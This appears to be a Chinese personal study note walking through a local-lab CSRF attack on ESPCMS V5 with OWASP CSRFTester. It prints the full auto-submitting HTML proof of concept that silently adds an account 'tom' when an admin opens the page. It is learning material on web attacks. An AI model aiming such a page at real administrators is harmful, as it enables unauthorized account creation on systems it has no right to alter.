聲明:
由于筆者能力有限,難免出現各種錯誤和漏洞。全文僅作為個人筆記,僅供參考。
筆記内容來源于各類網課
環境:ESPCMSV5(本地環境),CSRFTester
一、概述
使用CSRFTester工具生成POC,觸發CSRF。
二、CSRF利用
首先打開CSRFTester,它會監聽本地8008端口。我們配置浏覽器代理為本地8008端口。

我們登陸系統背景,進入會員管理頁面。
我們添加使用者。
添加使用者名,登入密碼,确認密碼,郵箱。
添加前打開CSRFTester的Start Recoding,抓取送出的表單。
抓取到送出的表單。
修改一下參數,參數為我們需要的新添加的使用者資訊。
我們将html儲存到桌面即可。
其中的代碼如下,也就是一個惡意頁面,裡面進行表單資料送出,觸發CSRF漏洞。
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>OWASP CRSFTester Demonstration</title>
</head>
<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "22","21","16","19","778" );
function pausecomp(millis)
{
var date = new Date();
var curDate = null;
do { curDate = new Date(); }
while(curDate-date < millis);
}
function fireForms()
{
var count = 5;
var i=0;
for(i=0; i<count; i++)
{
document.forms[i].submit();
pausecomp(pauses[i]);
}
}
</script>
<H2>OWASP CRSFTester Demonstration</H2>
<form method="GET" name="form0" action="http://127.0.0.1:8010/adminsoft/index.php?archive=management&action=load&digheight=150">
<input type="hidden" name="name" value="value"/>
</form>
<form method="POST" name="form1" action="http://127.0.0.1:8010/adminsoft/index.php?archive=membermain&action=membersave">
<input type="hidden" name="inputclass" value="add"/>
<input type="hidden" name="lng" value="cn"/>
<input type="hidden" name="tab" value="true"/>
<input type="hidden" name="username" value="tom"/>
<input type="hidden" name="password" value="hitom"/>
<input type="hidden" name="password2" value="hitom"/>
<input type="hidden" name="email" value="[email protected]"/>
<input type="hidden" name="question" value=""/>
<input type="hidden" name="answer" value=""/>
<input type="hidden" name="mcid" value="1"/>
<input type="hidden" name="alias" value=""/>
<input type="hidden" name="sex" value="1"/>
<input type="hidden" name="tel" value=""/>
<input type="hidden" name="mobile" value=""/>
<input type="hidden" name="birthday" value=""/>
<input type="hidden" name="address" value=""/>
<input type="hidden" name="zipcode" value=""/>
<input type="hidden" name="msn" value=""/>
<!-- 不需要使用的删除或注釋 -->
<!-- <input type="hidden" name="qq" value=""/>
</form>
<form method="GET" name="form2" action="http://127.0.0.1:8010/adminsoft/index.php?archive=membermain&action=memberlist&mcid=1&isclass=&country=&province=&city=&district=&limitkey=&limitclass=&countnum=2&freshid=0.11032087375676158">
<input type="hidden" name="name" value="value"/>
</form>
<form method="POST" name="form3" action="http://127.0.0.1:8010/adminsoft/index.php?archive=membermain&action=memberlist&mcid=1&isclass=&country=&province=&city=&district=&limitkey=&limitclass=">
<input type="hidden" name="MinPageid" value="0"/>
<input type="hidden" name="page_id" value="0"/>
<input type="hidden" name="MaxPerPage" value="12"/>
</form>
<form method="GET" name="form4" action="http://detectportal.firefox.com:80/success.txt">
<input type="hidden" name="name" value="value"/>
</form> -->
</body>
</html>
使用剛才登陸管理者的浏覽器打開這個index.html就觸發了CSRF漏洞。
系統觸發CSRF漏洞,成功添加使用者tom。